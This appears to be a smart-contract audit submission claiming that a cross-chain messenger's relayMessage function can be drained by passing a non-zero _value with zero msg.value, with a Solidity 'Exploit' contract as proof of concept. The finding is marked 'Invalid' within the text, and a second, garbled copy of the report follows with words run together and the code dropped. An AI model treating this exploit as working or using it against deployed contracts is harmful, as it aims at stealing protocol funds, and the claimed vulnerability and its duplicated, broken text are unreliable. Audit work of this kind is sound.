Attacker will exploit unchecked _value to steal funds from the protocol
Summary
A missing check on the _value parameter will cause an unauthorized fund transfer for the protocol as the attacker will bypass the deposit requirement by sending a cross-chain message with a non-zero _value while msg.value is zero.
Root Cause
In src/universal/CrossDomainMessenger.sol:246, the function only checks for msg.value == 0 instead of ensuring that both msg.value == 0 and _value == 0 when the caller is not the other messenger.
Internal pre-conditions
The attacker needs to call relayMessage() with _value greater than zero and msg.value set to zero.
The system address check for cross-chain messaging needs to bypass the validation logic of msg.value.
External pre-conditions
The attacker must be able to send a cross-chain message, triggering relayMessage() without being from the other messenger.
Attack Path
Attacker sends a crafted cross-chain message with _value > 0 and msg.value == 0.
The system validates msg.value == 0, ignoring _value > 0.
The message gets relayed, and the target receives funds from the contract, despite no actual ETH being transferred by the attacker.
Impact
The protocol suffers a loss equivalent to the _value sent via the message. The attacker gains the transferred amount without depositing any funds.
PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICrossDomainMessenger {
function relayMessage(
uint256 _nonce,
address _sender,
address _target,
uint256 _value,
uint256 _minGasLimit,
bytes calldata _message
) external payable;
}
contract Exploit {
ICrossDomainMessenger public crossDomainMessenger;
address public target; // Target contract to receive the ETH
uint256 public exploitValue = 1 ether; // Exploit value to be sent to the target
constructor(address _crossDomainMessenger, address _target) {
crossDomainMessenger = ICrossDomainMessenger(_crossDomainMessenger);
target = _target;
}
// Function to execute the exploit
function executeExploit(uint256 nonce, uint256 minGasLimit, bytes calldata message) external {
// Call the relayMessage function with _value > 0 and msg.value == 0
crossDomainMessenger.relayMessage{value: 0}(
nonce, // Nonce for the message
address(this), // Address of the attacker
target, // Target to receive the funds
exploitValue, // _value set to exploitValue (non-zero)
minGasLimit, // Minimum gas limit
message // Message to send
);
}
// Fallback function to receive any transferred funds
receive() external payable {
// Exploit successful if funds are received
}
}
Demhack
Invalid
Attacker will exploit unchecked
_value
to steal funds from the protocolSummary
A missing check on the
_value
parameter will cause an unauthorized fund transfer for the protocol as the attacker will bypass the deposit requirement by sending a cross-chain message with a non-zero_value
whilemsg.value
is zero.Root Cause
In
src/universal/CrossDomainMessenger.sol:246
, the function only checks formsg.value == 0
instead of ensuring that bothmsg.value == 0
and_value == 0
when the caller is not the other messenger.Internal pre-conditions
relayMessage()
with_value
greater than zero andmsg.value
set to zero.msg.value
.External pre-conditions
relayMessage()
without being from the other messenger.Attack Path
_value > 0
andmsg.value == 0
.msg.value == 0
, ignoring_value > 0
.Impact
The protocol suffers a loss equivalent to the
_value
sent via the message. The attacker gains the transferred amount without depositing any funds.PoC
Mitigation
No response